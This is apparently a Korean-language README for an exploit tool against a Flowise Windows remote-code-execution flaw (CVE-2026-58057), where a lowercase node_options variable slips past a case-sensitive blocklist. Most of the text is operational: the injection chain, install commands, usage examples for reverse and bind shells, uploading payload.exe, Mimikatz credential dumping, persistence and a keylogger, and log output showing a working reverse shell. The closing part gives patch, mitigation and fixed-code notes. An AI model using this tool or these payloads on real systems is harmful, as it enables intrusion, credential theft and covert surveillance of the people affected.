
Flowise Windows RCE 익스플로잇 for CVE-2026-58057. 대소문자 구분 결함을 통해 환경 변수 검증을 우회합니다. node_options를 사용하여 MCP stdio를 통해 임의 코드를 주입합니다. 리버스 셸, 지속성, 파일 업로드, 자격 증명 덤프를 지원합니다. 승인된 보안 테스트에만 사용하십시오.
이것은 Windows 플랫폼의 Flowise에서 발생하는 치명적인 원격 코드 실행 취약점인 CVE-2026-58057에 대한 프로덕션급 익스플로잇입니다. 이 취약점은 대소문자를 구분하는 환경 변수 검증이 소문자 node_options를 차단하지 못하는 데서 발생하며, 공격자가 NODE_OPTIONS 차단 목록을 우회하고 사용자 정의 MCP stdio 구성을 통해 임의 코드를 실행할 수 있게 합니다.
이 익스플로잇은 모듈식 아키텍처, 포괄적인 오류 처리, 여러 페이로드 유형 지원 등 전문적인 소프트웨어 엔지니어링 방식을 보여줍니다.
중요: 이 도구는 승인된 보안 테스트, 침투 테스트 및 교육 목적으로만 제공됩니다. 작성자는 이 소프트웨어로 인해 발생하는 어떠한 오용이나 손해에 대해서도 책임을 지지 않습니다. 시스템을 테스트하기 전에 항상 적절한 승인을 받으십시오.
# Vulnerable Validation (Case-Sensitive )
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous: # Only blocks exact uppercase match
raise ValueError(f"Modification not allowed")
공격자가 Flowise에 인증합니다
사용자 정의 MCP stdio 노드를 생성/수정합니다
소문자 node_options 환경 변수를 주입합니다
값을 --require malicious-loader.js로 설정합니다
MCP stdio가 실행되면 Node.js가 로더를 실행합니다
임의 코드 실행이 달성됩니다
✅ 리버스 셸 - 공격자 머신으로 연결을 되돌립니다
✅ 바인드 셸 - 대상에 수신 포트를 엽니다
✅ 명령 실행 - 임의의 시스템 명령을 실행합니다
✅ 파일 업로드 - 대상 시스템에 파일을 업로드합니다
✅ 지속성 - 여러 지속성 메커니즘을 제공합니다
✅ 정보 수집 - 시스템 정보를 수집합니다
✅ 자격 증명 덤프 - Mimikatz 통합
✅ 스크린샷 캡처 - 바탕 화면 스크린샷을 캡처합니다
✅ 키로거 - 키로깅 기능을 설치합니다
🔐 다중 인증 방법 - API 키 또는 사용자 이름/비밀번호
🔄 자동 재시도 로직 - 네트워크 문제에 대한 복원력 제공
🧹 자체 정리 - 대상에서 로더 파일을 제거합니다
🌐 크로스 플랫폼 - Windows/Linux/macOS에서 작동합니다
🎨 컬러 출력 - 가독성 향상
📊 상세 디버깅 - 문제 해결을 위한 상세 로깅
Python 3.6 이상
pip (Python 패키지 관리자)
# Clone repository
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit
# Install dependencies
pip install -r requirements.txt
# Or minimal installation
pip install requests urllib3
FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]
python3 exploit.py --help
| 옵션 | 설명 | 예시 |
|---|---|---|
-t, --target | Flowise URL (필수) | http://localhost:3000 |
-k, --api-key | Flowise API 키 | flowise_abc123... |
-u, --username | 사용자 이름 | admin |
-p, --password | 비밀번호 | password123 |
| 옵션 | 설명 | 예시 |
|---|---|---|
--payload | 페이로드 유형 | reverse_shell |
--lhost | 리스너 호스트 | 192.168.1.100 |
--lport | 리스너 포트 | 4444 |
--command | 실행할 명령 | whoami |
--local-file | 업로드할 파일 | payload.exe |
--remote-path | 원격 저장 경로 | C:\\Temp\\update.exe |
| 옵션 | 설명 |
|---|---|
--interactive | 대화형 셸 시작 |
--verbose | 디버그 출력 활성화 |
--timeout | 요청 시간 초과(초) |
--retries | 재시도 횟수 |
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444 \
--interactive
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload command_exec \
--command "whoami"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload file_upload \
--local-file /path/to/payload.exe \
--remote-path "C:\\ProgramData\\update.exe"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload mimikatz
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload persistence
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload info_gather
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload screenshot
| 페이로드 | 설명 | 인자 |
|---|---|---|
reverse_shell | 리스너로 연결을 되돌림 | --lhost, --lport |
bind_shell | 수신 포트 열기 | --lport |
command_exec | 명령 실행 | --command |
file_upload | 대상에 파일 업로드 | --local-file, --remote-path |
persistence | 지속성 설치 | 없음 |
info_gather | 시스템 정보 수집 | 없음 |
mimikatz | 자격 증명 덤프 | 없음 |
screenshot | 스크린샷 캡처 | 없음 |
keylogger | 키로거 설치 | 없음 |
# Upgrade to version 3.1.3 or later
npm install -g flowise@latest
# or
docker pull flowiseai/flowise:latest
사용자 정의 MCP 구성에 대한 접근 제한
네트워크 분할 구현
의심스러운 환경 변수 모니터링
웹 애플리케이션 방화벽(WAF) 사용
# Fixed Validation (Case-Insensitive)
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key.upper() in dangerous: # Case-insensitive check
raise ValueError(f"Modification not allowed")
[14:32:15] ℹ Starting exploit sequence...
[14:32:15] ℹ Attempting authentication...
[14:32:16] ✓ Authenticated with API key
[14:32:16] ℹ Preparing reverse_shell payload execution...
[14:32:16] ℹ Injecting environment variable...
[14:32:17] ℹ Triggering payload execution...
[14:32:19] ✓ Payload 'reverse_shell' executed successfully!
[14:32:19] ℹ Reverse shell listener ready on 192.168.1.50:4444
[14:32:15] 🔍 Session created with retry strategy
[14:32:15] 🔍 Using existing workspace: ws_123456
[14:32:16] 🔍 Loader written: /tmp/loader_1234_1234567890.js
[14:32:16] 🔍 MCP stdio configuration updated
| 문제 | 해결 방법 |
|---|---|
| SSL 인증서 오류 | pip install --trusted-host pypi.org -r requirements.txt |
| 권한 거부 | pip install --user -r requirements.txt |
| 연결 거부 | 대상 URL과 네트워크 연결 확인 |
| 인증 실패 | API 키 또는 사용자 이름/비밀번호 확인 |
| 페이로드 실패 | 상세 디버깅을 위해 --verbose 사용 |
| Python 버전 | Python 3.6+ 설치 확인 |
# Enable verbose logging
python3 exploit.py -t http://localhost:3000 -k API_KEY --verbose
# Test connectivity
curl -k https://localhost:3000/api/v1/version
# Check Python version
python3 --version
flowise-CVE-2026-58057-exploit/
├── exploit.py # Main exploit script
├── requirements.txt # Core dependencies
├── README.md # This documentation
├── LICENSE # MIT License
└── CHANGELOG.md # Version history
저장소를 포크합니다
기능 브랜치를 생성합니다 (git checkout -b feature/amazing)
변경 사항을 커밋합니다 (git commit -m 'Add amazing feature')
브랜치에 푸시합니다 (git push origin feature/amazing)
풀 리퀘스트를 엽니다
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 - 자세한 내용은 LICENSE 파일을 참조하세요.
제품을 제공한 FlowiseAI
유사한 취약점을 발견한 보안 연구원들
테스트 방법론을 제공한 침투 테스트 커뮤니티
작성자: Sudeepa Wanigarathna 보안 연구원 겸 침투 테스터
이 도구가 유용하다고 생각되신다면 다음을 고려해 주세요:
⭐ GitHub에서 저장소에 스타를 눌러 주세요
🔔 업데이트를 위해 팔로우해 주세요
📝 문제나 제안 사항을 보고해 주세요
보안 커뮤니티를 위해 ❤️로 제작되었습니다